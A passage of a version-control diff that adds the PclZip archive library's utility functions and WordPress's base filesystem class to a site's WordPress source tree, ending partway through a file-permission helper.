+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($v_zip_temp_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "New offset of central dir : $v_offset");
+
+    // ----- Copy the block of file headers from the old archive
+    $v_size = $v_central_dir['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = @fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Copy the block of file headers from the archive_to_add
+    $v_size = $v_central_dir_to_add['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Merge the file comments
+    $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];
+
+    // ----- Calculate the size of the (new) central header
+    $v_size = @ftell($v_zip_temp_fd)-$v_offset;
+
+    // ----- Swap the file descriptor
+    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
+    // the following methods on the temporary fil and not the real archive fd
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+      @fclose($v_zip_temp_fd);
+      $this->zip_fd = null;
+
+      // ----- Reset the file list
+      unset($v_header_list);
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Swap back the file descriptor
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Close
+    $this->privCloseFd();
+    $p_archive_to_add->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Delete the zip file
+    // TBC : I should test the result ...
+    @unlink($this->zipname);
+
+    // ----- Rename the temporary file
+    // TBC : I should test the result ...
+    //@rename($v_zip_temp_name, $this->zipname);
+    PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDuplicate()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDuplicate($p_archive_filename)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privDuplicate", "archive_filename='$p_archive_filename'");
+    $v_result=1;
+
+    // ----- Look if the $p_archive_filename exists
+    if (!is_file($p_archive_filename))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Archive to duplicate does not exist. End of duplicate.");
+
+      // ----- Nothing to duplicate, so duplicate is a success.
+      $v_result = 1;
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result=$this->privOpenFd('wb')) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Open the temporary file in write mode
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
+    {
+      $this->privCloseFd();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = filesize($p_archive_filename);
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Read $v_read_size bytes");
+      $v_buffer = fread($v_zip_temp_fd, $v_read_size);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privErrorLog()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privErrorLog($p_error_code=0, $p_error_string='')
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      PclError($p_error_code, $p_error_string);
+    }
+    else {
+      $this->error_code = $p_error_code;
+      $this->error_string = $p_error_string;
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privErrorReset()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privErrorReset()
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      PclErrorReset();
+    }
+    else {
+      $this->error_code = 0;
+      $this->error_string = '';
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDisableMagicQuotes()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDisableMagicQuotes()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privDisableMagicQuotes', "");
+    $v_result=1;
+
+    // ----- Look if function exists
+    if (   (!function_exists("get_magic_quotes_runtime"))
+	    || (!function_exists("set_magic_quotes_runtime"))) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Functions *et_magic_quotes_runtime are not supported");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+	}
+
+    // ----- Look if already done
+    if ($this->magic_quotes_status != -1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "magic_quote already disabled");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+	}
+
+	// ----- Get and memorize the magic_quote value
+	$this->magic_quotes_status = @get_magic_quotes_runtime();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Current magic_quotes_runtime status is '".($this->magic_quotes_status==0?'disable':'enable')."'");
+
+	// ----- Disable magic_quotes
+	if ($this->magic_quotes_status == 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Disable magic_quotes");
+	  @set_magic_quotes_runtime(0);
+	}
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privSwapBackMagicQuotes()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privSwapBackMagicQuotes()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privSwapBackMagicQuotes', "");
+    $v_result=1;
+
+    // ----- Look if function exists
+    if (   (!function_exists("get_magic_quotes_runtime"))
+	    || (!function_exists("set_magic_quotes_runtime"))) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Functions *et_magic_quotes_runtime are not supported");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+	}
+
+    // ----- Look if something to do
+    if ($this->magic_quotes_status != -1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "magic_quote not modified");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+	}
+
+	// ----- Swap back magic_quotes
+	if ($this->magic_quotes_status == 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Enable back magic_quotes");
+  	  @set_magic_quotes_runtime($this->magic_quotes_status);
+	}
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  }
+  // End of class
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilPathReduction()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function PclZipUtilPathReduction($p_dir)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilPathReduction", "dir='$p_dir'");
+    $v_result = "";
+
+    // ----- Look for not empty path
+    if ($p_dir != "") {
+      // ----- Explode path by directory names
+      $v_list = explode("/", $p_dir);
+
+      // ----- Study directories from last to first
+      $v_skip = 0;
+      for ($i=sizeof($v_list)-1; $i>=0; $i--) {
+        // ----- Look for current path
+        if ($v_list[$i] == ".") {
+          // ----- Ignore this directory
+          // Should be the first $i=0, but no check is done
+        }
+        else if ($v_list[$i] == "..") {
+		  $v_skip++;
+        }
+        else if ($v_list[$i] == "") {
+		  // ----- First '/' i.e. root slash
+		  if ($i == 0) {
+            $v_result = "/".$v_result;
+		    if ($v_skip > 0) {
+		        // ----- It is an invalid path, so the path is not modified
+		        // TBC
+		        $v_result = $p_dir;
+                //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Invalid path is unchanged");
+                $v_skip = 0;
+		    }
+		  }
+		  // ----- Last '/' i.e. indicates a directory
+		  else if ($i == (sizeof($v_list)-1)) {
+            $v_result = $v_list[$i];
+		  }
+		  // ----- Double '/' inside the path
+		  else {
+            // ----- Ignore only the double '//' in path,
+            // but not the first and last '/'
+		  }
+        }
+        else {
+		  // ----- Look for item to skip
+		  if ($v_skip > 0) {
+		    $v_skip--;
+		  }
+		  else {
+            $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
+		  }
+        }
+      }
+      
+      // ----- Look for skip
+      if ($v_skip > 0) {
+        while ($v_skip > 0) {
+            $v_result = '../'.$v_result;
+            $v_skip--;
+        }
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilPathInclusion()
+  // Description :
+  //   This function indicates if the path $p_path is under the $p_dir tree. Or,
+  //   said in an other way, if the file or sub-dir $p_path is inside the dir
+  //   $p_dir.
+  //   The function indicates also if the path is exactly the same as the dir.
+  //   This function supports path with duplicated '/' like '//', but does not
+  //   support '.' or '..' statements.
+  // Parameters :
+  // Return Values :
+  //   0 if $p_path is not inside directory $p_dir
+  //   1 if $p_path is inside directory $p_dir
+  //   2 if $p_path is exactly the same as $p_dir
+  // --------------------------------------------------------------------------------
+  function PclZipUtilPathInclusion($p_dir, $p_path)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilPathInclusion", "dir='$p_dir', path='$p_path'");
+    $v_result = 1;
+    
+    // ----- Look for path beginning by ./
+    if (   ($p_dir == '.')
+        || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
+      $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Replacing ./ by full path in p_dir '".$p_dir."'");
+    }
+    if (   ($p_path == '.')
+        || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
+      $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Replacing ./ by full path in p_path '".$p_path."'");
+    }
+
+    // ----- Explode dir and path by directory separator
+    $v_list_dir = explode("/", $p_dir);
+    $v_list_dir_size = sizeof($v_list_dir);
+    $v_list_path = explode("/", $p_path);
+    $v_list_path_size = sizeof($v_list_path);
+
+    // ----- Study directories paths
+    $i = 0;
+    $j = 0;
+    while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Working on dir($i)='".$v_list_dir[$i]."' and path($j)='".$v_list_path[$j]."'");
+
+      // ----- Look for empty dir (path reduction)
+      if ($v_list_dir[$i] == '') {
+        $i++;
+        continue;
+      }
+      if ($v_list_path[$j] == '') {
+        $j++;
+        continue;
+      }
+
+      // ----- Compare the items
+      if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != ''))  {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Items ($i,$j) are different");
+        $v_result = 0;
+      }
+
+      // ----- Next items
+      $i++;
+      $j++;
+    }
+
+    // ----- Look if everything seems to be the same
+    if ($v_result) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Look for tie break");
+      // ----- Skip all the empty items
+      while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
+      while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Looking on dir($i)='".($i < $v_list_dir_size?$v_list_dir[$i]:'')."' and path($j)='".($j < $v_list_path_size?$v_list_path[$j]:'')."'");
+
+      if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
+        // ----- There are exactly the same
+        $v_result = 2;
+      }
+      else if ($i < $v_list_dir_size) {
+        // ----- The path is shorter than the dir
+        $v_result = 0;
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilCopyBlock()
+  // Description :
+  // Parameters :
+  //   $p_mode : read/write compression mode
+  //             0 : src & dest normal
+  //             1 : src gzip, dest normal
+  //             2 : src normal, dest gzip
+  //             3 : src & dest gzip
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilCopyBlock", "size=$p_size, mode=$p_mode");
+    $v_result = 1;
+
+    if ($p_mode==0)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Src offset before read :".(@ftell($p_src)));
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Dest offset before write :".(@ftell($p_dest)));
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+        $v_buffer = @fread($p_src, $v_read_size);
+        @fwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Src offset after read :".(@ftell($p_src)));
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Dest offset after write :".(@ftell($p_dest)));
+    }
+    else if ($p_mode==1)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+        $v_buffer = @gzread($p_src, $v_read_size);
+        @fwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==2)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+        $v_buffer = @fread($p_src, $v_read_size);
+        @gzwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==3)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+        $v_buffer = @gzread($p_src, $v_read_size);
+        @gzwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilRename()
+  // Description :
+  //   This function tries to do a simple rename() function. If it fails, it
+  //   tries to copy the $p_src file in a new $p_dest file and then unlink the
+  //   first one.
+  // Parameters :
+  //   $p_src : Old filename
+  //   $p_dest : New filename
+  // Return Values :
+  //   1 on success, 0 on failure.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilRename($p_src, $p_dest)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilRename", "source=$p_src, destination=$p_dest");
+    $v_result = 1;
+
+    // ----- Try to rename the files
+    if (!@rename($p_src, $p_dest)) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Fail to rename file, try copy+unlink");
+
+      // ----- Try to copy & unlink the src
+      if (!@copy($p_src, $p_dest)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Fail to copy file");
+        $v_result = 0;
+      }
+      else if (!@unlink($p_src)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Fail to unlink old filename");
+        $v_result = 0;
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilOptionText()
+  // Description :
+  //   Translate option value in text. Mainly for debug purpose.
+  // Parameters :
+  //   $p_option : the option value.
+  // Return Values :
+  //   The option text value.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilOptionText($p_option)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilOptionText", "option='".$p_option."'");
+    
+    $v_list = get_defined_constants();
+    for (reset($v_list); $v_key = key($v_list); next($v_list)) {
+	    $v_prefix = substr($v_key, 0, 10);
+	    if ((   ($v_prefix == 'PCLZIP_OPT')
+           || ($v_prefix == 'PCLZIP_CB_')
+           || ($v_prefix == 'PCLZIP_ATT'))
+	        && ($v_list[$v_key] == $p_option)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_key);
+        return $v_key;
+	    }
+    }
+    
+    $v_result = 'Unknown';
+
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilTranslateWinPath()
+  // Description :
+  //   Translate windows path by replacing '\' by '/' and optionally removing
+  //   drive letter.
+  // Parameters :
+  //   $p_path : path to translate.
+  //   $p_remove_disk_letter : true | false
+  // Return Values :
+  //   The path translated.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
+  {
+    if (stristr(php_uname(), 'windows')) {
+      // ----- Look for potential disk letter
+      if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
+          $p_path = substr($p_path, $v_position+1);
+      }
+      // ----- Change potential windows directory separator
+      if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
+          $p_path = strtr($p_path, '\\', '/');
+      }
+    }
+    return $p_path;
+  }
+  // --------------------------------------------------------------------------------
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-base.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-base.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-base.php	(revision 44)
@@ -0,0 +1,320 @@
+<?php
+/**
+ * Base WordPress Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * Base WordPress Filesystem class for which Filesystem implementations extend
+ *
+ * @since 2.5
+ */
+class WP_Filesystem_Base {
+	/**
+	 * Whether to display debug data for the connection or not.
+	 *
+	 * @since 2.5
+	 * @access public
+	 * @var bool
+	 */
+	var $verbose = false;
+	/**
+	 * Cached list of local filepaths to maped remote filepaths.
+	 *
+	 * @since 2.7
+	 * @access private
+	 * @var array
+	 */
+	var $cache = array();
+
+	/**
+	 * The Access method of the current connection, Set automatically.
+	 *
+	 * @since 2.5
+	 * @access public
+	 * @var string
+	 */
+	var $method = '';
+
+	/**
+	 * Returns the path on the remote filesystem of ABSPATH
+	 *
+	 * @since 2.7
+	 * @access public
+	 * @return string The location of the remote path.
+	 */
+	function abspath() {
+		$folder = $this->find_folder(ABSPATH);
+		//Perhaps the FTP folder is rooted at the WordPress install, Check for wp-includes folder in root, Could have some false positives, but rare.
+		if ( ! $folder && $this->is_dir('/wp-includes') )
+			$folder = '/';
+		return $folder;
+	}
+	/**
+	 * Returns the path on the remote filesystem of WP_CONTENT_DIR
+	 *
+	 * @since 2.7
+	 * @access public
+	 * @return string The location of the remote path.
+	 */
+	function wp_content_dir() {
+		return $this->find_folder(WP_CONTENT_DIR);
+	}
+	/**
+	 * Returns the path on the remote filesystem of WP_PLUGIN_DIR
+	 *
+	 * @since 2.7
+	 * @access public
+	 *
+	 * @return string The location of the remote path.
+	 */
+	function wp_plugins_dir() {
+		return $this->find_folder(WP_PLUGIN_DIR);
+	}
+	/**
+	 * Returns the path on the remote filesystem of the Themes Directory
+	 *
+	 * @since 2.7
+	 * @access public
+	 *
+	 * @return string The location of the remote path.
+	 */
+	function wp_themes_dir() {
+		return $this->wp_content_dir() . '/themes';
+	}
+
+	/**
+	 * Locates a folder on the remote filesystem.
+	 *
+	 * Deprecated; use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() methods instead.
+	 *
+	 * @since 2.5
+	 * @deprecated 2.7
+	 * @access public
+	 *
+	 * @param string $base The folder to start searching from
+	 * @param bool $echo True to display debug information
+	 * @return string The location of the remote path.
+	 */
+	function find_base_dir($base = '.', $echo = false) {
+		_deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' );
+		$this->verbose = $echo;
+		return $this->abspath();
+	}
+	/**
+	 * Locates a folder on the remote filesystem.
+	 *
+	 * Deprecated; use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() methods instead.
+	 *
+	 * @since 2.5
+	 * @deprecated 2.7
+	 * @access public
+	 *
+	 * @param string $base The folder to start searching from
+	 * @param bool $echo True to display debug information
+	 * @return string The location of the remote path.
+	 */
+	function get_base_dir($base = '.', $echo = false) {
+		_deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' );
+		$this->verbose = $echo;
+		return $this->abspath();
+	}
+
+	/**
+	 * Locates a folder on the remote filesystem.
+	 *
+	 * Assumes that on Windows systems, Stripping off the Drive letter is OK
+	 * Sanitizes \\ to / in windows filepaths.
+	 *
+	 * @since 2.7
+	 * @access public
+	 *
+	 * @param string $folder the folder to locate
+	 * @return string The location of the remote path.
+	 */
+	function find_folder($folder) {
+
+		if ( strpos($this->method, 'ftp') !== false ) {
+			$constant_overrides = array( 'FTP_BASE' => ABSPATH, 'FTP_CONTENT_DIR' => WP_CONTENT_DIR, 'FTP_PLUGIN_DIR' => WP_PLUGIN_DIR );
+			foreach ( $constant_overrides as $constant => $dir )
+				if ( defined($constant) && $folder === $dir )
+					return trailingslashit(constant($constant));
+		} elseif ( 'direct' == $this->method ) {
+			return trailingslashit($folder);
+		}
+
+		$folder = preg_replace('|^([a-z]{1}):|i', '', $folder); //Strip out windows driveletter if its there.
+		$folder = str_replace('\\', '/', $folder); //Windows path sanitiation
+
+		if ( isset($this->cache[ $folder ] ) )
+			return $this->cache[ $folder ];
+
+		if ( $this->exists($folder) ) { //Folder exists at that absolute path.
+			$folder = trailingslashit($folder);
+			$this->cache[ $folder ] = $folder;
+			return $folder;
+		}
+		if( $return = $this->search_for_folder($folder) )
+			$this->cache[ $folder ] = $return;
+		return $return;
+	}
+
+	/**
+	 * Locates a folder on the remote filesystem.
+	 *
+	 * Expects Windows sanitized path
+	 *
+	 * @since 2.7
+	 * @access private
+	 *
+	 * @param string $folder the folder to locate
+	 * @param string $base the folder to start searching from
+	 * @param bool $loop if the function has recursed, Internal use only
+	 * @return string The location of the remote path.
+	 */
+	function search_for_folder($folder, $base = '.', $loop = false ) {
+		if ( empty( $base ) || '.' == $base )
+			$base = trailingslashit($this->cwd());
+
+		$folder = untrailingslashit($folder);
+
+		$folder_parts = explode('/', $folder);
+		$last_path = $folder_parts[ count($folder_parts) - 1 ];
+
+		$files = $this->dirlist( $base );
+
+		foreach ( $folder_parts as $key ) {
+			if ( $key == $last_path )
+				continue; //We want this to be caught by the next code block.
+
+			//Working from /home/ to /user/ to /wordpress/ see if that file exists within the current folder,
+			// If its found, change into it and follow through looking for it.
+			// If it cant find WordPress down that route, it'll continue onto the next folder level, and see if that matches, and so on.
+			// If it reaches the end, and still cant find it, it'll return false for the entire function.
+			if ( isset($files[ $key ]) ){
+				//Lets try that folder:
+				$newdir = trailingslashit(path_join($base, $key));
+				if ( $this->verbose )
+					printf( __('Changing to %s') . '<br/>', $newdir );
+				if ( $ret = $this->search_for_folder( $folder, $newdir, $loop) )
+					return $ret;
+			}
+		}
+
+		//Only check this as a last resort, to prevent locating the incorrect install. All above proceeedures will fail quickly if this is the right branch to take.
+		if (isset( $files[ $last_path ] ) ) {
+			if ( $this->verbose )
+				printf( __('Found %s') . '<br/>',  $base . $last_path );
+			return trailingslashit($base . $last_path);
+		}
+		if ( $loop )
+			return false;//Prevent tihs function looping again.
+		//As an extra last resort, Change back to / if the folder wasnt found. This comes into effect when the CWD is /home/user/ but WP is at /var/www/.... mainly dedicated setups.
+		return $this->search_for_folder($folder, '/', true);
+
+	}
+
+	/**
+	 * Returns the *nix style file permissions for a file
+	 *
+	 * From the PHP documentation page for fileperms()
+	 *
+	 * @link http://docs.php.net/fileperms
+	 * @since 2.5
+	 * @access public
+	 *
+	 * @param string $file string filename
+	 * @return int octal representation of permissions
+	 */
+	function gethchmod($file){
+		$perms = $this->getchmod($file);
+		if (($perms & 0xC000) == 0xC000) // Socket
+			$info = 's';
+		elseif (($perms & 0xA000) == 0xA000) // Symbolic Link
+			$info = 'l';
+		elseif (($perms & 0x8000) == 0x8000) // Regular
+			$info = '-';
+		elseif (($perms & 0x6000) == 0x6000) // Block special
+			$info = 'b';
+		elseif (($perms & 0x4000) == 0x4000) // Directory
+			$info = 'd';
+		elseif (($perms & 0x2000) == 0x2000) // Character special
+			$info = 'c';
+		elseif (($perms & 0x1000) == 0x1000)// FIFO pipe
+			$info = 'p';
+		else // Unknown
+			$info = 'u';
+
+		// Owner
+		$info .= (($perms & 0x0100) ? 'r' : '-');
+		$info .= (($perms & 0x0080) ? 'w' : '-');
+		$info .= (($perms & 0x0040) ?
+					(($perms & 0x0800) ? 's' : 'x' ) :
+					(($perms & 0x0800) ? 'S' : '-'));
+
+		// Group
+		$info .= (($perms & 0x0020) ? 'r' : '-');
